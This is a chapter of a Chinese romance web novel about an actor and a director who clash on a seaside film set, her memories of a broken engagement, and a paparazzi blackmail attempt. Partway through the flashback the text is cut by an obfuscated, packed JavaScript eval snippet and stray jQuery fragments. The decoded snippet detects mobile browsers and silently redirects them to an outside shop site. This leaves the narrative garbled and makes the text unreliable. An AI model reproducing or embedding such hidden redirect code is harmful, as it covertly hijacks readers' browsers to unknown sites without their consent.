夜戏是整部剧里最难啃的一场。
灯光被刻意压得很低，只留几盏冷白的追光从锈迹斑斑的铁架上斜斜打下来。
海水拍岸的声音被收音收得很清楚，混着风里的咸湿味，整个人站久了都觉得骨头缝里往外冒凉气。
顾景鑫站在标记点上，衬衫被水汽浸得半透，领口解开两颗，露出锁骨和一点旧疤。
他刚刚拍完一段比赛失利的戏，呼吸还没完全平复，眼神却已经沉进了角色里，那种被逼到绝境的无奈感。
温靳晨站在监视器后面，手里捏着剧本，眉心微微皱着。
“卡。”
导演的声音不大，却让现场瞬间静了。
她没有立刻说话，只是把剧本翻到某一页，指尖在一行台词上点了点：“这里我是想他不是绝望的无奈，而是有一种释怀，有一种新生代能顶替老将的那种欣慰感。”
顾景鑫转过头，目光隔着半场的灯光落在她脸上，声音还带着角色没卸干净的哑：“可他作为一名电竞选手，即使是老将也会想要得到冠军。”
“剧本可以改。”温靳晨抬眼，语气平静，却没有让步的意思，“你刚才那个眼神太失落和绝望了，我所认识的他绝不会那么容易被打倒。”
现场有人轻轻吸了口气。
道具组的人交换了个眼神，谁都没出声。
这种争执从开机到现在已经不是第一次。
两人几乎每次碰到人物动机或者情绪层次有分歧，都会在监视器前直接吵开。
没有人劝，也没有人觉得奇怪，导演从一开始就默许了。
他说过，这两个对角色的理解都深，吵出来的东西往往比坐在会议室里讨论更有用。
可今天这场，吵得比以往都凶。
顾景鑫把毛巾随手扔到一边，走过来，站在她面前。两个人之间只隔着一台监视器，呼吸几乎能听见。
两人对视了几秒。
导演终于从椅子上站起来，走过来，把手里的剧本往桌上一拍：“行了，都冷静点，戏是要拍的，再吵下去，今晚的进度全废。”
顾景鑫没说话。
温靳晨也没说话。
空气僵了大概半分钟，最后还是顾景鑫先把视线移开，低声道：“按她说的来吧！”
现场有人明显松了口气。
可温靳晨却摇头：“不，拍两个版本，一个按顾老师的来，一个按我的改。最后剪辑的时候，看哪条更贴。”
导演愣了一下，随即点头：“行，两条都走，那顾老师，你没问题吧？”
顾景鑫看着她，眼神很深，最终只是“嗯”了一声。
后面的拍摄出奇地顺。
两条版本都是一条过。
顾景鑫进入状态很快，情绪切换干净利落。
收工的时候已经是凌晨四点。
海风比夜里更冷，吹得人皮肤发紧。工作人员开始收器材，灯光一盏盏灭下去，只剩下远处几盏应急灯还亮着。
温靳晨把剧本收进包里，走到码头边缘，从口袋里摸出烟。
火机打了两次才燃。
她吸了一口，烟雾被风吹散得很快，苦涩顺着喉咙滑下去，稍微压住了太阳穴突突的跳。
身后有脚步声。
顾景鑫走过来，在她旁边停下。
他也抽了支烟，却没点，只是夹在手指间，像是习惯性的动作。
两人并肩站着，谁都没先说话。
过了很久，顾景鑫才开口，声音被风吹得有些散：“借个火？”
温靳晨侧过头，看了他一眼，随即把火机递给他。
他脸上的妆已经卸了大半，眉眼却还带着没完全退干净的疲惫，眼神却意外的清醒。
咔嚓——
火机亮了一下，又灭了。
他深吸了一口，顺着她的视线看去，问：“还是准备一个人扛？”
“习惯了。”她说。
顾景鑫没再问“习惯什么”。
他只是看着远处黑沉沉的海面，忽然道：“你今天情绪不对，不是为了戏。”
温靳晨的手指顿了顿。
烟头的火星在风里明灭。
她没有否认，也没有解释。
今天下午，她在休息的间隙刷到了那条新闻。
标题很短，却足够刺眼。
「孟氏家族嫡长孙孟砚归，与司家三小姐司惟正式订婚」。
配图是两个人在晚宴上并肩的照片，孟砚归穿深色西装，侧脸冷淡，司惟笑得得体，手里端着香槟。
评论已经过万。
有人说门当户对，有人说商业联姻，还有人翻出旧料，隐约提到他以前好像有过什么人。
在以前那个网络不发达的年代，别人根本不会在意这些家的私事。可如今，信息铺天盖地，豪门圈的风吹草动不过是茶余饭后的谈资。
毕竟，人的好奇心总是无穷无尽的。
温靳晨把手机锁屏，扔回包里，继续研究剧本。
翻阅剧本的手指很稳，可心跳却在某一瞬间漏了一拍。
不伤心是假的。
那些在半山别墅里、在异国酒店里、在无数个见不得光的夜里交换过的呼吸和温度，不会因为一句“各玩各的”就彻底消失。
它们只是被她一层一层压下去，压到自己都快以为已经死了。
直到今天，它们又忽然活过来，在胸口里翻搅。
她没有哭，也没有失态，只是今日的情绪比过往都要激烈而已。
顾景鑫大概是看出来了。
他没有追问具体是什么事，只是把没点的烟重新夹好，声音很低：“一个人扛着，很累。”
温靳晨吸完最后一口，把烟蒂按灭在铁栏杆上，火星彻底灭了。
“我习惯了。”她重复了一遍，语气平静得像在说别人的事，“有些东西，只能自己消化，说出来让别人愿意听，不过是为了满足自己的好奇心而已。”
顾景鑫转过头，看着她。
夜色里，她的侧脸被远处的应急灯勾出一道很淡的轮廓，眼睛里没有水光，却有一种被磨得很薄的韧。
他忽然觉得，这个人比他想象中更难靠近。
也更让人想靠近。
风又大了些。
两人都没再说话。
只是并排站着，把这一夜剩下的凉意，慢慢捱过去。
雨是从他们站在码头边抽烟的时候开始下的。
起初只是细密的凉意，像针尖一样密密地扎在脸上。
风从海面卷过来，带着深秋特有的湿冷，混着铁锈和海水的腥气，吹得人指尖发僵。
应急灯的光被雨水折得断断续续，落在两个人的肩膀上，很快就洇开深色的水渍。
顾景鑫把烟蒂按灭，抬手拢了拢外套的领口，声音被雨声压得有些低：“回去吧，别着凉。”
温靳晨侧过头。
他站在她稍前一点的位置，雨水顺着额发往下淌，划过眉骨，又消失在下颌的线条里。
那句话很普通，普通到几乎可以当成任何一次收工后的客套。
可不知为什么，她第一次没有立刻把“客套”两个字在心里盖章。
像是有什么东西轻轻偏了一下。
她“嗯”了一声，没有多说，似乎又想到什么，道：“你先走吧，我一会再回去。”
既然这样，顾景鑫也没继续说下去，同她道了别便离开了。
雨越下越大，打在海面上、沙滩上，发出细密的噼啪声。
今天下午刷到的那条新闻，像一根细刺，卡在喉咙里，不上不下。
孟砚归和司惟正式订婚。
等她回去时，已是早上六点。
车灯切开雨幕，驶进深秋的夜里。
路上她开得很慢，雨刮器来回摆动，发出单调的摩擦声。脑子里却不受控制地往回走，走到很远的地方。
大四那年。
也是秋天，却比现在暖些。
孟砚归把她带到半山的别墅，窗外的银杏叶黄了一地。他没有单膝跪地，只是把一枚戒指放在她掌心，金属的凉意一直沁到指骨。
“跟我结婚，好吗？”那时候他说得很认真，眼睛里有一种她很少见到的郑重。
她没有立刻答应。
不是不喜欢。
是因为在那之前的某一天，她推开酒店套房的门，看见了温靳婉和另一个男人。
那个男人是孟砚珩的小叔。
门没有关严，衣料摩擦的声音，还有温靳婉那句几乎软在喉咙里的“您弄疼我了”，全都被她听得清清楚楚。
她退了出来，把门轻轻带上。
后来温靳婉找到她，说得很坦然：“婚姻不过是张入场券，进了场怎么玩，是我的本事。”
温靳晨没有揭发，也没有质问。
她只是把那枚戒指推了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887586|212607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回去，说：“再等等，我还在上学。”
孟砚归没有追问原因，他只是把戒指收起来，吻了吻她的额头，说“好”。
再后来，他们两个的事被曝光，联姻、打压、分手、出国……所有的一切像多米诺骨牌一样倒下。
那枚戒指再也没有被提起，两人此后也是不了了之。
温靳晨把车停进别墅车库的时候，雨势小了一些，她在车里坐了很久，直到手指彻底回温，才推门进去。
沈拙不在家，客厅只留了一盏落地灯，光线昏黄。她把湿透的外套挂好，换了身干爽的家居服，走到窗边。
雨还在下。
竹林被风雨打得沙沙作响，像是有人在远处不停地翻动旧纸。
她没有开灯，只是靠着窗框，让凉意一点点从玻璃渗进来。
手机震了一下。
是顾景鑫：「到了？」
她看着那两个字，回：「到了。」
对话框停了几秒，他又发来一句：「早点睡。」
这一次，温靳晨没有再觉得奇怪。
她只是把手机放下，闭上眼睛。
有些人的关心，一旦被认真对待，就很难再当成客套。
而她现在，还没办法把这件事想清楚。
狗仔是在雨停后出现，他们藏得很深，用的是长焦，拍到的画面却足够清晰。
两个人并肩站在栏杆边抽烟，雨水打湿头发和肩膀，顾景鑫侧过头说了什么，温靳晨没有看他，只是把烟蒂按灭。
画面不长，却足够被解读出许多东西。
上午九点，顾景鑫的助理接到一通电话。
对方很直接：“顾老师和温小姐的视频和照片，只要五百万。”
助理把电话内容原封不动转述给顾景鑫的时候，他刚从片场回到酒店，头发还是湿的。
他听完，只说了两个字：“拒绝。”
助理愣了一下：“对方说会直接放——”
“让他们放。”顾景鑫把毛巾扔到一边，声音平静，“律师团队随时准备，造谣、侵权、敲诈，哪条都能告。”
助理那边似乎还有些顾虑，“可是你现在是关键时候，这时候被爆料出来这些，肯定会受到影响。”
闻言，顾景鑫扯了扯嘴角，眼底却没什么笑意，“我是演员，不是爱豆。更何况，我跟她真的没什么，先让他们闹一下。”
“顾——”
嘟嘟嘟——
话都没说完，他便挂断了电话，随即拨通了另一个号码。
电话那头很快接通，背景音有些嘈杂。
早上十点，视频和照片还是被放了出来，就是在这个牛马稍稍清醒点的时间，让上班准备摸鱼的人，吃瓜吃得颇有兴致。
标题起得很长：「顾景鑫深夜海边密会神秘女子，雨中对视疑似恋情」。
配图被打了马赛克，却遮不住两个人的轮廓，评论区瞬间炸开。
有人把旧日的“送回家”和“电竞比赛同框”全部翻了出来。
#顾景鑫恋情#死死钉在热搜第一。
温靳晨是被沈拙的电话吵醒的。
“你和老顾昨晚去哪儿了？”沈拙的声音带着刚醒的沙哑，却已经冷静下来，“网上全是。”
她睁开眼睛，看着天花板，沉默了几秒，才道：“拍戏啊，怎么？”
“就这样？”
“就这样。”
“行吧。”沈拙没再多问，他只是说：“顾景鑫那边已经在处理，你先别出门，今天在家好好休息，我让许清舟去看看怎么处理。”
嘟嘟嘟——
电话被挂断。
温靳晨拿起手机，她只是随意地扫了两眼，热搜榜已经被刷屏。
她没有点进去仔细看，只是把手机重新扣在枕边，躺了回去，现在她困得要死，昨晚一晚都没睡，哪些屁事就让别人操心去吧！
窗外的雨也不知道什么时候停了。
深秋的阳光淡淡地漏进来，照在地板上，像一层薄而凉的水。
她想起昨夜顾景鑫说“别着凉”的时候，雨水顺着他的下颌往下淌的样子。
也想起更早的时候，孟砚归把戒指放进她掌心的温度。
两段记忆叠在一起，竟让她有一瞬间分不清，胸口那点隐隐的闷，究竟是为谁而起。
她闭上眼睛。
有些情绪，一旦被认真对待，也就再也无法假装成客套了。